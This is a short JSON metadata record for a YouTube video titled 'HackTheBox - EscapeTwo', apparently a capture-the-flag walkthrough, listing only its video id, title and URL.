{ "video_id": "fE6BYs4P1t4", "title": "HackTheBox - EscapeTwo", "url": "https://www.youtube.com/watch?v=fE6BYs4P1t4" }